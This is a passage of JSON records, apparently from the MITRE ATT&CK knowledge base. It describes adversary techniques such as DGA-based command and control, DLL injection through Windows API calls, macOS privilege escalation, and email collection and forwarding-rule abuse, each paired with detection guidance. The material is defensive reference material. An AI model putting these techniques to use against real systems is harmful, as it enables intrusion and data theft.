            "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1568",
                    "url": "https://attack.mitre.org/techniques/T1568"
                },
                {
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "source_name": "Talos CCleanup 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "source_name": "FireEye POSHSPY April 2017"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Dynamic Resolution",
            "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
            "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-10-02T01:37:39.938Z",
            "created": "2020-03-10T17:28:11.747Z",
            "x_mitre_contributors": [
                "Chris Roffe"
            ],
            "x_mitre_detection": "Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.001",
                    "url": "https://attack.mitre.org/techniques/T1055/001"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/hunting-memory",
                    "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
                    "source_name": "Elastic HuntingNMemory June 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Dynamic-link Library Injection",
            "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-11-10T18:29:30.879Z",
            "created": "2020-01-14T01:26:08.145Z",
            "x_mitre_defense_bypassed": [
                "Application control",
                "Anti-virus"
            ],
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: OS API Execution",
                "Process: Process Access"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca",
            "name": "Elevated Execution with Prompt",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1514",
                    "url": "https://attack.mitre.org/techniques/T1514"
                },
                {
                    "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
                    "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg",
                    "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."
                },
                {
                    "source_name": "Death by 1000 installers; it's all broken!",
                    "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8",
                    "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."
                },
                {
                    "source_name": "OSX Coldroot RAT",
                    "url": "https://objective-see.com/blog/blog_0x2A.html",
                    "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T20:13:51.857Z",
            "created": "2019-08-08T14:29:37.108Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1548.004",
                    "url": "https://attack.mitre.org/techniques/T1548/004"
                },
                {
                    "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
                    "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg",
                    "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."
                },
                {
                    "source_name": "Death by 1000 installers; it's all broken!",
                    "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8",
                    "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."
                },
                {
                    "source_name": "OSX Coldroot RAT",
                    "url": "https://objective-see.com/blog/blog_0x2A.html",
                    "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Elevated Execution with Prompt",
            "description": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
            "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-27T12:04:37.823Z",
            "created": "2020-01-30T14:40:20.187Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "root"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code> is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code> is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation"
            ],
            "x_mitre_contributors": [
                "Jimmy Astle, @AstleJimmy, Carbon Black",
                "Erika Noerenberg, @gutterchurl, Carbon Black"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1087.003",
                    "url": "https://attack.mitre.org/techniques/T1087/003"
                },
                {
                    "source_name": "Microsoft Exchange Address Lists",
                    "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019",
                    "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020."
                },
                {
                    "source_name": "Microsoft getglobaladdresslist",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist",
                    "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019."
                },
                {
                    "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/",
                    "source_name": "Black Hills Attacking Exchange MailSniper, 2016"
                },
                {
                    "source_name": "Google Workspace Global Access List",
                    "url": "https://support.google.com/a/answer/166870?hl=en",
                    "description": "Google. (n.d.). Retrieved March 16, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Email Account",
            "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",
            "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-31T13:10:46.302Z",
            "created": "2020-02-21T21:08:33.237Z",
            "x_mitre_data_sources": [
                "User Account: User Account Metadata",
                "Command: Command Execution"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows",
                "Office 365",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1585.002",
                    "url": "https://attack.mitre.org/techniques/T1585/002"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                },
                {
                    "source_name": "Trend Micro R980 2016",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/",
                    "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Email Accounts",
            "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)",
            "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:09:59.862Z",
            "created": "2020-10-01T01:09:53.217Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1586.002",
                    "url": "https://attack.mitre.org/techniques/T1586/002"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Email Accounts",
            "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.",
            "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:57:25.544Z",
            "created": "2020-10-01T01:20:53.104Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "created": "2020-10-02T14:56:24.866Z",
            "modified": "2021-04-15T03:27:19.702Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262",
            "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "name": "Email Addresses",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1589.002",
                    "url": "https://attack.mitre.org/techniques/T1589/002"
                },
                {
                    "source_name": "HackersArise Email",
                    "url": "https://www.hackers-arise.com/email-scraping-and-maltego",
                    "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020."
                },
                {
                    "source_name": "CNET Leaks",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."
                }
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access."
        },
        {
            "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Email Collection",
            "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1114",
                    "url": "https://attack.mitre.org/techniques/T1114"
                },
                {
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/",
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2021-04-14T14:22:44.435Z",
            "created": "2017-05-31T21:31:25.454Z",
            "x_mitre_contributors": [
                "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365",
                "Google Workspace"
            ],
            "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
            "x_mitre_data_sources": [
                "File: File Access",
                "Network Traffic: Network Connection Creation",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
                "Application Log: Application Log Content"
            ],
            "x_mitre_version": "2.2"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1114.003",
                    "url": "https://attack.mitre.org/techniques/T1114/003"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
                },
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Email Forwarding Rule",
            "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) \n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.",
            "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2021-03-25T13:08:30.699Z",
            "created": "2020-02-19T18:54:47.103Z",
            "x_mitre_contributors": [
                "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ],
            "x_mitre_platforms": [
                "Office 365",
                "Windows",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1519",
                    "url": "https://attack.mitre.org/techniques/T1519"
                },
                {
                    "source_name": "xorrior emond Jan 2018",
                    "url": "https://www.xorrior.com/emond-persistence/",
                    "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."
                },
                {
                    "source_name": "magnusviri emond Apr 2016",
                    "url": "http://www.magnusviri.com/Mac/what-is-emond.html",
                    "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
                }
            ],
            "name": "Emond",
            "id": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T15:15:44.006Z",
            "created": "2019-09-19T14:07:11.734Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.014",
                    "url": "https://attack.mitre.org/techniques/T1546/014"
                },
                {
                    "source_name": "xorrior emond Jan 2018",
                    "url": "https://www.xorrior.com/emond-persistence/",
                    "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."
                },
                {
                    "source_name": "magnusviri emond Apr 2016",
